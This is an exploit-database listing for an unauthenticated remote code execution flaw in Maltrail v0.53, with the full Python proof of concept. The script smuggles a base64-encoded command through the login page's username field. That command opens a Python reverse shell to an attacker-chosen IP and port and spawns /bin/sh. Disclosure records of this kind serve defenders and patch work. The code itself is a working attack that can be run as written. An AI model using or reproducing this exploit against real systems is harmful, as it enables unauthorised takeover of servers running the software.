Maltrail v0.53 - Unauthenticated Remote Code Execution (RCE)

vendor:

Maltrail

by:

Iyaad Luqman K (init_6)

7.5

CVSS

HIGH

Unauthenticated Remote Code Execution (RCE)

CWE

Product Name: Maltrail

Affected Version From: v0.53

Affected Version To: v0.53

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Ubuntu 22.04

Maltrail v0.53 – Unauthenticated Remote Code Execution (RCE)

This exploit allows an attacker to execute arbitrary code on the target system without authentication. By providing a specially crafted payload, the attacker can gain remote access and control over the system.

Mitigation:

To mitigate this vulnerability, it is recommended to update the Maltrail application to the latest version or apply any available patches provided by the vendor.

Source

Exploit-DB raw data:

# Exploit Title: Maltrail v0.53 - Unauthenticated Remote Code Execution (RCE)
# Exploit Author: Iyaad Luqman K (init_6)
# Application: Maltrail v0.53
# Tested on: Ubuntu 22.04

# PoC
import sys;
import os;
import base64;

def main():
	listening_IP = None
	listening_PORT = None
	target_URL = None

	if len(sys.argv) != 4:
		print("Error. Needs listening IP, PORT and target URL.")
		return(-1)
	
	listening_IP = sys.argv[1]
	listening_PORT = sys.argv[2]
	target_URL = sys.argv[3] + "/login"
	print("Running exploit on " + str(target_URL))
	curl_cmd(listening_IP, listening_PORT, target_URL)

def curl_cmd(my_ip, my_port, target_url):
	payload = f'python3 -c \'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{my_ip}",{my_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")\''
	encoded_payload = base64.b64encode(payload.encode()).decode()  # encode the payload in Base64
	command = f"curl '{target_url}' --data 'username=;`echo+\"{encoded_payload}\"+|+base64+-d+|+sh`'"
	os.system(command)

if __name__ == "__main__":
  main()